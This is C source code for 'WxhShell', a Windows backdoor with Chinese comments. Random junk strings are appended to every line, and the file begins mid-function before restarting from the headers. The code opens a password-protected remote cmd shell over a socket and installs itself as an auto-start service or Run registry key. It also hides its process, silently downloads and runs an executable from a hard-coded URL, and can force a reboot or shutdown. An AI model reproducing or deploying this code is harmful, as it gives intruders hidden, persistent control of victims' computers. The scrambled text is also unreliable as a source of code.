    if(Boot(SHUTDOWN)) {TL +7kiX/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (L|}`  
    else { bV3lE6z  
    closesocket(wsh); 9NWloK6bT  
    ExitThread(0); _@E "7<\  
    } O}gX{_|6  
    break; KtMbze  
    } :pd&dg!5  
  // 获取shell k!doIMj  
  case 's': { PV,"-Nv,  
    CmdShell(wsh); >%c*Xe  
    closesocket(wsh); Lh 9S8EU  
    ExitThread(0); L#j |2H|  
    break; ogeRYq,g  
  } ?`A9(#ySM  
  // 退出 pGGV\zD^  
  case 'x': { =hcPTU-QU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UE)fUTS  
    CloseIt(wsh); g+9v$[!  
    break; _>v0R'  
    } Q>IH``1*e  
  // 离开 kV 1vb  
  case 'q': { =xBT>h;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p!GZCf,   
    closesocket(wsh); a*Jn#Mx<M  
    WSACleanup(); &A"e,h(^  
    exit(1); .Qfnd#  
    break; u 6(GM  
        } 9>{t}I d  
  } c `ud;lI  
  } > i`8R  
gV.f*E1C  
  // 提示信息 k<,u0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kdBV1E+:C  
} IM$0#2\  
  } j=Q$K #sBt  
od(:Y(4  
  return; aG Ef#A  
} bpnv&EG  
nF j-<!  
// shell模块句柄 -? Tz.y&  
int CmdShell(SOCKET sock) 3]_qj*V  
{ 'f6PjI  
STARTUPINFO si; /B=l,:TnJ  
ZeroMemory(&si,sizeof(si)); T\cR2ZT~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j Ii[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vu ?3$  
PROCESS_INFORMATION ProcessInfo; U,38qKE  
char cmdline[]="cmd"; a6qwL4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .}~$1QKS  
  return 0; &PSTwZd  
} yP%o0n/"x  
55,=[  
// 自身启动模式 2x6<8J8v*  
int StartFromService(void) Lxz  
{ K{N%kk%F  
typedef struct pEkOSG  
{ E+Im~=m$  
  DWORD ExitStatus; _lNC<7+#h  
  DWORD PebBaseAddress; +.wT 9kFcc  
  DWORD AffinityMask; )+*{Y$/U  
  DWORD BasePriority;  *0-v!\{  
  ULONG UniqueProcessId; [5!'ykZ  
  ULONG InheritedFromUniqueProcessId; Kny%QBoiw  
}   PROCESS_BASIC_INFORMATION; fZ{&dslg  
<g*.p@o  
PROCNTQSIP NtQueryInformationProcess; s1Okoxh/!V  
m'SmN{(t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y3IA '  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RE*WM3QK~  
) (+)Q'*  
  HANDLE             hProcess; }R`Irxv4  
  PROCESS_BASIC_INFORMATION pbi; 2H3(HZv  
K Ka c6Zj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^A- sS~w  
  if(NULL == hInst ) return 0; {:3.27jQ  
l3BD <PB2S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2DUr7r M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [h^f%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C#ZhsWS!b  
Y=3X9%v9g  
  if (!NtQueryInformationProcess) return 0; ^W5>i[  
X:R%1+&*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m,=)qex  
  if(!hProcess) return 0; QTeFR&q8  
H/pcX j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6hLNJ  
,zG<7~m  
  CloseHandle(hProcess); 8znj~7}#  
z2.*#xTZn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `(!W s\:  
if(hProcess==NULL) return 0; O1|B3M[P  
ot]>}[  
HMODULE hMod; x3gwG)Sf  
char procName[255]; \ibCR~W4  
unsigned long cbNeeded; 32s5-.{c/f  
ZU)BJ!L,s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v3?kFd7%H~  
hTDV!B-_(  
  CloseHandle(hProcess); "$]ls9-%n  
-J{Dxz  
if(strstr(procName,"services")) return 1; // 以服务启动 {3.*7gnY\L  
&|s+KP|d  
  return 0; // 注册表启动 &K+  
} ^@M [t<  
O<4Q$|=&?  
// 主模块 2wGF-V  
int StartWxhshell(LPSTR lpCmdLine) p "/(>8  
{ tF<^9stM  
  SOCKET wsl; #"hJpyW 4V  
BOOL val=TRUE; 7[4_+Q:}  
  int port=0; ^GE^Q\&D&  
  struct sockaddr_in door; =d}gv6v2S  
*Yj~]E0`1  
  if(wscfg.ws_autoins) Install(); +:fqL  
5r^1CFO  
port=atoi(lpCmdLine); Qk+=znJ  
W]Y@WKeT  
if(port<=0) port=wscfg.ws_port; GSC{F#:z  
Fq vQk  
  WSADATA data; t8t}7XD   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~5FS|[1L  
1NuR/DO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fS5GICx8R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hyJ ded&D  
  door.sin_family = AF_INET; 79 TPg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +.S#=  
  door.sin_port = htons(port); J 5Wz4`'  
j?Cr31  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mfu*o0   
closesocket(wsl); g8LT7  
return 1; di"C]" ;  
} Tld1P69(  
P{"  WlJ  
  if(listen(wsl,2) == INVALID_SOCKET) { 0[V&8\S~'T  
closesocket(wsl); &7$,<9.  
return 1; .=>\Qq%  
} yJF 2  
  Wxhshell(wsl); .Ln;m8  
  WSACleanup(); `l+ >iM  
$dlnmNP+  
return 0; {9h`$e=  
JX2mTQ  
} Fl B, (Cm  
;3 G~["DA  
// 以NT服务方式启动 $?[1#%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _=o1?R  
{ "L9C  
DWORD   status = 0; N|UBaPS|o  
  DWORD   specificError = 0xfffffff; 0q:(-z\S4  
t9?R/:B%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [SCw<<l<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t)\D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K?5B>dv@A  
  serviceStatus.dwWin32ExitCode     = 0; 2=igS#h  
  serviceStatus.dwServiceSpecificExitCode = 0; j5PaSk&o=  
  serviceStatus.dwCheckPoint       = 0; %T`4!:vy  
  serviceStatus.dwWaitHint       = 0; q :TZ=bs^  
-@YVe:$%b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V<7R_}^_7  
  if (hServiceStatusHandle==0) return; zj~8>QnKk  
Zx}N Fcn  
status = GetLastError(); Gojl0?  
  if (status!=NO_ERROR) @o}1n?w  
{ 5u'TmLuKT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }s`jl` `PM  
    serviceStatus.dwCheckPoint       = 0; mgJShn8]  
    serviceStatus.dwWaitHint       = 0; B0-4 ZT  
    serviceStatus.dwWin32ExitCode     = status; ."~7 \E> t  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4(` 2#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w^ixMn~nLF  
    return; *Te4U5F  
  } 6Y;Y}E  
S 23S.]r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X)`(nj  
  serviceStatus.dwCheckPoint       = 0; Vpug"aR&_  
  serviceStatus.dwWaitHint       = 0; kV*y_5g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u} JQTro  
} mr:kn0  
^/_\etV  
// 处理NT服务事件,比如:启动、停止 M[:O(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F,' ^se4&  
{ ddUjs8VvJ  
switch(fdwControl) `U {o:  
{ {toyQ)C7  
case SERVICE_CONTROL_STOP: :)KTZ  
  serviceStatus.dwWin32ExitCode = 0; l(h;e&9x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "wT ~$I"  
  serviceStatus.dwCheckPoint   = 0; cJU!zG  
  serviceStatus.dwWaitHint     = 0; p{A}p9sjx  
  { }4bB7,j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p{mxk)A  
  } '#cT4_D^lI  
  return; uznoyj6g  
case SERVICE_CONTROL_PAUSE: .jU|gf:x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v YRt2({}Z  
  break; +zFV~]b  
case SERVICE_CONTROL_CONTINUE: , aRJ!AZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r*X}3t*  
  break; D%c7JK  
case SERVICE_CONTROL_INTERROGATE: w?V[[$  
  break; p/\$P=  
}; JLy)}8I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w5dI k]T  
} d8Q_6(Ar|  
XBfiaj  
// 标准应用程序主函数 ,W)IVc   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q|47;bK'  
{ z;fd#N:  
l }2%?d  
// 获取操作系统版本 %\(y8QV  
OsIsNt=GetOsVer(); {Y3_I\H8{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &%f]-=~  
3b g4#c  
  // 从命令行安装 ^DW#  
  if(strpbrk(lpCmdLine,"iI")) Install(); /(hP7_]`2  
b qg]DO$*  
  // 下载执行文件 /%J&/2Wz  
if(wscfg.ws_downexe) { < "L){$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G1#Bb5q:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]YisZE4s  
} z:ru68  
egxJ3.  
if(!OsIsNt) { )Dk0V!%N  
// 如果时win9x,隐藏进程并且设置为注册表启动 cXLV"d  
HideProc(); %!ER@&1f&  
StartWxhshell(lpCmdLine); 0j a  
} ~uhyROO,G"  
else wzHjEW  
  if(StartFromService()) %468s7Q[Mi  
  // 以服务方式启动 5UrXVdP  
  StartServiceCtrlDispatcher(DispatchTable); 5`{|[J_[  
else an$ ]IN  
  // 普通方式启动 G*vpf~q?  
  StartWxhshell(lpCmdLine); p:[`%<j0  
? BHWzo!  
return 0; 1WUFk?p  
} j,|1y5f  
p0[,$$pM  
|"Xi%CQ2  
E]u'MX  
=========================================== 5oT2)yz  
m' Ekp  
L#7)X5a__  
.q_uJ_qu-  
F9u:8;\@`  
rB.=f[aX[  
" I9:G9  
>?G|Yz*kEJ  
#include <stdio.h> F653[[eQ  
#include <string.h> N#pl mPrZ  
#include <windows.h> P xP?hk  
#include <winsock2.h> rx}ujjx  
#include <winsvc.h> N1s $3Ul  
#include <urlmon.h> 8}"f|6Wm  
fncwe ';?  
#pragma comment (lib, "Ws2_32.lib") FfD ,cDs  
#pragma comment (lib, "urlmon.lib") qSpa4W[  
+c]N]?k&  
#define MAX_USER   100 // 最大客户端连接数 U<g UX07  
#define BUF_SOCK   200 // sock buffer Y6;0khp  
#define KEY_BUFF   255 // 输入 buffer wQdW lon  
!ulLGmUn  
#define REBOOT     0   // 重启 5|6z1{g8  
#define SHUTDOWN   1   // 关机 ."!8B9 s  
VJ6>3  
#define DEF_PORT   5000 // 监听端口 8H 3!; ]  
q5I4'6NF  
#define REG_LEN     16   // 注册表键长度 oxCs*   
#define SVC_LEN     80   // NT服务名长度 ~7ATt8T  
VHgF#6'   
// 从dll定义API K)h"G#NZM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I7G\X#,iz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j;AzkReb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <D;H} ef  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [KimY  
PO%yWns30o  
// wxhshell配置信息 g<hv7?"[  
struct WSCFG { t'=~"?T/o  
  int ws_port;         // 监听端口 CQ8o9A/  
  char ws_passstr[REG_LEN]; // 口令 U&w 5&W{F}  
  int ws_autoins;       // 安装标记, 1=yes 0=no j quSR=  
  char ws_regname[REG_LEN]; // 注册表键名 w}bEufU+2  
  char ws_svcname[REG_LEN]; // 服务名 ^+- L;XkeY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?9('o\N:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /K1$_   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l9ifUh e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D25gg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {o5K?Pb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9A} kkMB:  
j0pvLZjM  
}; :_~PU$%0  
H%NLL4&wu  
// default Wxhshell configuration 9$Pl'>5  
struct WSCFG wscfg={DEF_PORT, F'5d\v  
    "xuhuanlingzhe", :`>+f.)  
    1, Z z; <P  
    "Wxhshell", #hE3~+ i  
    "Wxhshell", o$blPTN  
            "WxhShell Service", ,I2re G  
    "Wrsky Windows CmdShell Service", jC/JiI  
    "Please Input Your Password: ", (;2J(GZ:$U  
  1, {ck  
  "http://www.wrsky.com/wxhshell.exe", %B {D  
  "Wxhshell.exe" ]!tYrSM!  
    }; y9G57D  
Cj4b]*Q,  
// 消息定义模块 YAC zznN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )(ZPSg$/F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zy/tQGTr@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |{ /O)3  
char *msg_ws_ext="\n\rExit."; wh7a|  
char *msg_ws_end="\n\rQuit."; Y3MR:{}  
char *msg_ws_boot="\n\rReboot..."; k,NU,^ &  
char *msg_ws_poff="\n\rShutdown..."; &W!d}, ;  
char *msg_ws_down="\n\rSave to "; a5U2[Ko80  
bF Y)o Z  
char *msg_ws_err="\n\rErr!"; kkE)zF   
char *msg_ws_ok="\n\rOK!"; $NGtxZp  
bhm~Ii  
char ExeFile[MAX_PATH]; $jeDVH  
int nUser = 0; (fGJP*YO  
HANDLE handles[MAX_USER]; P"PeL B9K  
int OsIsNt; K_lL\  
Wse*gO  
SERVICE_STATUS       serviceStatus; DT(Zv2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b1,T!xL  
7Yw\%}UL  
// 函数声明 !DX/^b  
int Install(void); -< dMD_  
int Uninstall(void); 6m{$rBR  
int DownloadFile(char *sURL, SOCKET wsh); ux 79"5qb  
int Boot(int flag); L%s4snE  
void HideProc(void); D 917[ <$  
int GetOsVer(void); pXT$Y8M  
int Wxhshell(SOCKET wsl);  0[!gk]p  
void TalkWithClient(void *cs); lRATrp#T  
int CmdShell(SOCKET sock); ^SSOh#  
int StartFromService(void); CTbhwY(/  
int StartWxhshell(LPSTR lpCmdLine); Tk#&Ux{ZJ  
VF!kr1n!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (Q]Y> '  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hIO4%RQj_  
vzrD"  
// 数据结构和表定义 q(ET)xCeD  
SERVICE_TABLE_ENTRY DispatchTable[] = v"('_!  
{ MoR-8vnJ  
{wscfg.ws_svcname, NTServiceMain}, z.9FDQLp  
{NULL, NULL} ) Q  
}; m2< *  
soVZz3F  
// 自我安装 PN^1  
int Install(void) eGypXf%  
{ R EH&kcn  
  char svExeFile[MAX_PATH]; <:;:*s3]  
  HKEY key; twHM~cTS  
  strcpy(svExeFile,ExeFile); ~S=fMv^BR  
[@)z$W  
// 如果是win9x系统,修改注册表设为自启动 , a_{ Y+  
if(!OsIsNt) { H.mQbD`X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @61N[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _BLSI8!N@  
  RegCloseKey(key); >5vl{{,$K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {6y.%ysU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q.E^9giC  
  RegCloseKey(key); =jv$ 1  
  return 0; sd@gEp)L  
    } FQ~ead36C  
  } H- qP>:  
} E29gnYxu8  
else {  H[!Q  
Qbt>}?-  
// 如果是NT以上系统,安装为系统服务 ~Ow23N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rKs WS~U  
if (schSCManager!=0) ?O>JtEz~lQ  
{ U W)&Eky  
  SC_HANDLE schService = CreateService FjLv*K[#d  
  ( . N} }cJq  
  schSCManager, @NwM+^  
  wscfg.ws_svcname, % m5^p  
  wscfg.ws_svcdisp, jc~*#\N  
  SERVICE_ALL_ACCESS, AXv;r<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iGeT^!N  
  SERVICE_AUTO_START, #.L0]Uqcp  
  SERVICE_ERROR_NORMAL, 3) Awj++  
  svExeFile, T0"0/{5-_  
  NULL, oS|~\,p"  
  NULL, }~~^ZtJ\  
  NULL, )7%]<2V%  
  NULL, u{nWjqrM*5  
  NULL n6UU6t{  
  ); Q;,3W+(  
  if (schService!=0) 70*iJ^|  
  { /?-p^6U  
  CloseServiceHandle(schService); Wu;|(2I  
  CloseServiceHandle(schSCManager); |afK"N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J8?6G&0H  
  strcat(svExeFile,wscfg.ws_svcname); 'xXqEwi4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w |FV qX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jas|P}{=fT  
  RegCloseKey(key); >rS<!e%  
  return 0; :w_1J'D}  
    } '\E{qlI  
  } B|$13dHfa  
  CloseServiceHandle(schSCManager); } 9s  
} C2|2XL'l(C  
} ;Y&?ixx  
XaS_3d  
return 1; ^PR,TR.  
} @ZPTf>J}  
18tQWI$  
// 自我卸载 A;`U{7IST  
int Uninstall(void) JG4*B|3  
{ jh](s U  
  HKEY key; e^_@^(||!6  
-2ij;pkIW$  
if(!OsIsNt) { (BQ3M-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vd>.fb\U2  
  RegDeleteValue(key,wscfg.ws_regname); s@[t5R  
  RegCloseKey(key); U7%pOpO!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4S EC4yO  
  RegDeleteValue(key,wscfg.ws_regname); GaqG 8% .  
  RegCloseKey(key); D#[ :NXahn  
  return 0; (E(:F[.S  
  } j/mp.'P1k  
} +Q]'kJ<s  
} yB{o_1tc  
else { tskODM0Zf  
&b")`p&K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @,`=~_J  
if (schSCManager!=0) {u6fa>R&$  
{ yBh"qnOT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =\7p0cq&*  
  if (schService!=0) }JMkM9]  
  { `(suRp8!  
  if(DeleteService(schService)!=0) { `+;oo B  
  CloseServiceHandle(schService); zP'pfBgbJW  
  CloseServiceHandle(schSCManager); < LAD  
  return 0; LVl0:!>~  
  } w} q@VVB%  
  CloseServiceHandle(schService); >6834e  
  } Y]Vc}-a(h  
  CloseServiceHandle(schSCManager); Zw\V}uXI?  
} Wc>)/y5$  
} ,[1`'nN@g  
IX?%H!i  
return 1; <+,0 G`  
} HMd)64(  
FtDA k?  
// 从指定url下载文件 wSF#;lqd  
int DownloadFile(char *sURL, SOCKET wsh) j6(IF5MqP  
{ 0$ac1;7  
  HRESULT hr; 8'Bl=C|0X  
char seps[]= "/"; oySM?ZE  
char *token; ;rAW3  
char *file; BQ0PV  
char myURL[MAX_PATH]; BXw,Rz }  
char myFILE[MAX_PATH]; )qXe`3 d5  
-"K:ve(K  
strcpy(myURL,sURL); U)]natB  
  token=strtok(myURL,seps); A@AGu#W  
  while(token!=NULL) A"VXs1>_^  
  { k 0Yixa  
    file=token; `b'J*4|oGo  
  token=strtok(NULL,seps); pAmI ](  
  } u$p|hd d  
gdY/RDxn:  
GetCurrentDirectory(MAX_PATH,myFILE); Qug'B  
strcat(myFILE, "\\"); >&Q. .`q  
strcat(myFILE, file); Q.$h![`6  
  send(wsh,myFILE,strlen(myFILE),0); :.df(1(RL  
send(wsh,"...",3,0); e-)1K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tSa%ZkS  
  if(hr==S_OK) K# < Wt5  
return 0; H,` XCG  
else ^V]DY!@k3_  
return 1; k T>}(G||  
:E`l(sI7J}  
} F|{?GV%hF  
T[U&Y`3g  
// 系统电源模块 ~[Mk QJxe  
int Boot(int flag) (ZQ{%-i?qR  
{ ]8ua>1XS  
  HANDLE hToken; j+]>x]c0  
  TOKEN_PRIVILEGES tkp; _o~<f)E[9  
-en:81a#  
  if(OsIsNt) { WqqrfzlM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (`GO@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v3[Z ]+ ]  
    tkp.PrivilegeCount = 1; gg'lb{oG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9X,dV7 yW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y oNg3  
if(flag==REBOOT) { 8U0y86q>)E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iU9de  
  return 0; OgyETSN8C  
} d?WA}VFU  
else { dMw7Lp&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ` B) ~  
  return 0; 6g8{;6x  
} sn_]7d+ Q  
  } 5X\3y4  
  else { ,Bp\ i  
if(flag==REBOOT) { /u!I2DF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,d)!&y  
  return 0; vrm[sP  
} h|yv*1/|  
else { G^p>fy~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xw`vf7z*  
  return 0; @cAv8i K  
} );}k@w fw)  
} D#x D-c  
-Vn9YeH+  
return 1; ;WJ}zjo >  
} V;L^q?v !  
B @HW@j  
// win9x进程隐藏模块 }DxXt  
void HideProc(void) *rSMD_>  
{ )^ R]3!v  
Zq2dCp%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 24Z7;'  
  if ( hKernel != NULL ) %Z 9<La  
  { !e&ZhtTuC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Q1S8i$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;{ XKZ}  
    FreeLibrary(hKernel); A`Z!=og=  
  } ]7O)iq%  
^)rX27!G  
return; <?&GBCe  
} Tc,Bv7:  
l^:m!SA_  
// 获取操作系统版本 T.<er iv  
int GetOsVer(void) 49nZWv48"_  
{ gZ%B9i:  
  OSVERSIONINFO winfo; ~KD x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _2q4Aaza  
  GetVersionEx(&winfo); } Ga@bY6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \o?zL7  
  return 1; skR/Wf9DH  
  else 2WIL0Siwl  
  return 0; Pr{?A]dQ  
} ?Bq"9*q  
|rH;}t|un  
// 客户端句柄模块 sDK lbb  
int Wxhshell(SOCKET wsl) P_j ?V"i<  
{ [^A.$,  
  SOCKET wsh; Jn +[:s.  
  struct sockaddr_in client; ^ox^gw)  
  DWORD myID; 1B+MCt4  
Zd1+ZH  
  while(nUser<MAX_USER) "V&2 g?  
{ ! o:m*:  
  int nSize=sizeof(client); M-K<w(,X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'C1=(PE%`  
  if(wsh==INVALID_SOCKET) return 1; =<_xUh.  
Ra'0 ^4t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K0@2>nR  
if(handles[nUser]==0) G`ZpFg0Y  
  closesocket(wsh); ve.iyr  
else n }7DL8  
  nUser++; V=VL@=  
  } k.rP}76  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s!~M,zsQN  
zawU  
  return 0; RU,f|hB 4  
} mk~i (Ee  
K%Mm'$fTw  
// 关闭 socket WiH%URFB  
void CloseIt(SOCKET wsh) m( C7Fa  
{ ({yuwH?tH  
closesocket(wsh); Cmm"K[>Rx  
nUser--; d;Z<")  
ExitThread(0); >T%Jlj3ZG  
} ~cz] Rhq  
=%znY`0b56  
// 客户端请求句柄 TgSU}Mf)a  
void TalkWithClient(void *cs) Ox8dnPcx  
{ W'E!5T^  
=5b5d   
  SOCKET wsh=(SOCKET)cs; Vl{CD>$,  
  char pwd[SVC_LEN]; p/:)Z_  
  char cmd[KEY_BUFF]; D'YF [l  
char chr[1]; i6-q%%]6  
int i,j; "FT5]h  
=   
  while (nUser < MAX_USER) { a_^3:}i~D  
mn{8"@Z  
if(wscfg.ws_passstr) { f~jx2?W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u6'vzLmM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @CP"AYB #  
  //ZeroMemory(pwd,KEY_BUFF); jC*(ZF1B  
      i=0; q]0a8[]3  
  while(i<SVC_LEN) { ';+;  
nSz Fs(]f  
  // 设置超时 g (33h2"  
  fd_set FdRead; +Q_X,gZ  
  struct timeval TimeOut; qBpv[m  
  FD_ZERO(&FdRead); GD}3 r:wDs  
  FD_SET(wsh,&FdRead); i)1E[jc{p!  
  TimeOut.tv_sec=8; u'd+:uH  
  TimeOut.tv_usec=0; |b;}' *  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HW|c -\tS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !aeL*`;  
;wbQTp2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I.fV_ H^  
  pwd=chr[0]; ibl^A=  
  if(chr[0]==0xd || chr[0]==0xa) { }H?8~S =  
  pwd=0; HPCzh  
  break; l#7,<@)  
  }  V-}d-Y  
  i++; pco~Z{n  
    } Xl#vVyO  
1(gb-u0  
  // 如果是非法用户,关闭 socket Y:FV+ SI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,cWO Ak  
} Fla[YWS  
[@";\C_I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >f^&^28  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nUQcoSY#  
J{@gp,&e  
while(1) { X;w1@4!  
 &{7n  
  ZeroMemory(cmd,KEY_BUFF); ::dLOf8o  
`-D6:- ,w  
      // 自动支持客户端 telnet标准   ?#qA>:2,  
  j=0; ~4U[p  50  
  while(j<KEY_BUFF) { J@oGAa%3)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +N5G4t#.  
  cmd[j]=chr[0]; UQ$dO2^  
  if(chr[0]==0xa || chr[0]==0xd) { m1gJ"k6 `j  
  cmd[j]=0; ]"dZE2!  
  break; j23OgbI  
  } n8w|8[uV^  
  j++; tRS^|??  
    } Gnl6>/L,  
$9y]>R  
  // 下载文件  k1L GT&  
  if(strstr(cmd,"http://")) { %{yr#F=t#]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nqBZp N ^  
  if(DownloadFile(cmd,wsh)) bFVz ;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9| v  
  else vROl}s;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8doT`rI1  
  } 7WiVor$g-  
  else { y`E2IE2o  
L(PJ9wjkD  
    switch(cmd[0]) { 1UJ(._0hR  
  q+~z# jFX  
  // 帮助 +LQ2To  
  case '?': { #"O9\X/B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]RPv@z:V  
